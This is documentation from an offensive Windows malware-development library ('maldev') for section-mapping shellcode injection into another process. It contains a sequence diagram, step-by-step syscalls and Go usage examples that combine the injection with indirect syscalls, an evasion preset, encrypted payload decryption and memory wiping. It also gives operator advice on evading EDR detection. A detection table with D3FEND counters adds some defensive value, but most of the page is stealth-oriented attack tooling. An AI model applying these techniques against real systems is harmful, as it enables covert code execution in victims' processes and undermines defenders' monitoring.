Section mapping injection

← injection index · docs/index

New to maldev injection? Read the injection/README.md vocabulary callout first.

TL;DR

Cross-process injection without WriteProcessMemory. Create a shared section, map a writable view in the implant's process, copy the shellcode locally, then map a read-execute view of the same section in the target. Both views point at the same physical pages, so the local memcpy is instantly visible across the boundary. Trigger via NtCreateThreadEx (or whichever executor the caller chooses).

TraitValue
Target classRemote (existing PID)
Creates a new thread?Yes (caller chooses the executor — typically NtCreateThreadEx)
Uses WriteProcessMemory?No — the bypass-WPM is the whole point
Stealth tierHigh — no WPM signal; section-create + map-view is harder to baseline against legitimate IPC

When to pick a different method:

Primer

WriteProcessMemory is one of the loudest cross-process syscalls. EDRs hook it, ETW-Ti reports it, and a single use is enough to flag the chain. Section mapping sidesteps it entirely by exploiting Windows' shared-memory primitive: NtCreateSection returns a section object backed by the page file (or the file system); NtMapViewOfSection projects views of that section into arbitrary processes. Two views of the same section point at the same physical pages — modifying one updates the other.

The implant maps the section RW into itself, writes shellcode through the local view, then maps the same section RX into the target. No cross-process write was issued. The remaining cross-process call is the final trigger (NtCreateThreadEx, or anything else the caller wants).

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant Tgt as "Target"

    Impl->>Kern: NtCreateSection(SEC_COMMIT, RWX)
    Kern-->>Impl: hSection

    Impl->>Kern: NtMapViewOfSection(self, RW)
    Kern-->>Impl: localBase

    Impl->>Impl: memcpy(localBase, shellcode)

    Impl->>Kern: NtMapViewOfSection(target, RX)
    Kern->>Tgt: same physical pages, RX
    Kern-->>Impl: remoteBase

    Impl->>Kern: NtUnmapViewOfSection(self, localBase)

    Impl->>Kern: NtCreateThreadEx(target, remoteBase)
    Kern->>Tgt: thread @ shellcode

Steps:

  1. NtCreateSection with SEC_COMMIT | PAGE_EXECUTE_READWRITE, sized to the shellcode.
  2. NtMapViewOfSection into the local process with PAGE_READWRITE.
  3. memcpy the shellcode through the local view.
  4. NtMapViewOfSection into the target with PAGE_EXECUTE_READ. Both views share physical pages; the data is already there.
  5. NtUnmapViewOfSection locally — no longer needed.
  6. NtCreateThreadEx at remoteBase (or any other trigger).

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/inject is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

import "github.com/oioio-space/maldev/inject"

if err := inject.SectionMapInject(targetPID, shellcode, nil); err != nil {
    return err
}

Composed (indirect syscalls)

import (
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
return inject.SectionMapInject(targetPID, shellcode, caller)

Advanced (full evasion stack)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)

return inject.SectionMapInject(targetPID, shellcode, caller)

Complex (encrypt + decrypt + section map + wipe)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

if err := inject.SectionMapInject(targetPID, shellcode, caller); err != nil {
    return err
}
memory.SecureZero(shellcode)

OPSEC & Detection

ArtefactWhere defenders look
NtCreateSection followed by two NtMapViewOfSection to different processesEDR-Ti correlates the chain — strong signal in modern products
Cross-process NtMapViewOfSection at allSysmon does not log; EDR userland hooks + ETW Threat Intelligence (Microsoft-Windows-Threat-Intelligence) emit MapViewOfSection events
NtCreateThreadEx start address inside a non-image RX mappingPsSetCreateThreadNotifyRoutine callback flags non-image-backed start addresses
Page-file-backed section with PAGE_EXECUTE_READWRITE initial protectionEDR allocation telemetry — RWX sections without an image backing are unusual

D3FEND counters:

  • D3-PSA — flags the section + remote-thread chain.
  • D3-PCSV — verifies the start address against image segments.
  • D3-MA — anomaly on cross-process executable mappings.

Hardening for the operator: trigger via a callback path on the remote side (e.g. hijack a thread's APC queue with NtQueueApcThreadEx) to avoid NtCreateThreadEx; pair with evasion/unhook to defeat userland hooks on NtMapViewOfSection.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectionshared-section variant — no WriteProcessMemoryD3-PSA

Limitations

  • NtCreateThreadEx still fires at the end of the chain. The technique avoids WriteProcessMemory, not thread-creation telemetry.
  • No PPL targets. Cross-process section mapping into a Protected Process Light is denied.
  • Initial section protection is RWX. EDRs that key on PAGE_EXECUTE_READWRITE allocations flag the creation regardless of the eventual RX-only target view.
  • Section persists in target. No automatic cleanup on the remote side. The mapped pages stay until the target exits.
  • Caller nil falls back to userland-hooked stubs. Prefer an indirect-syscall Caller for any non-trivial EDR posture.

See also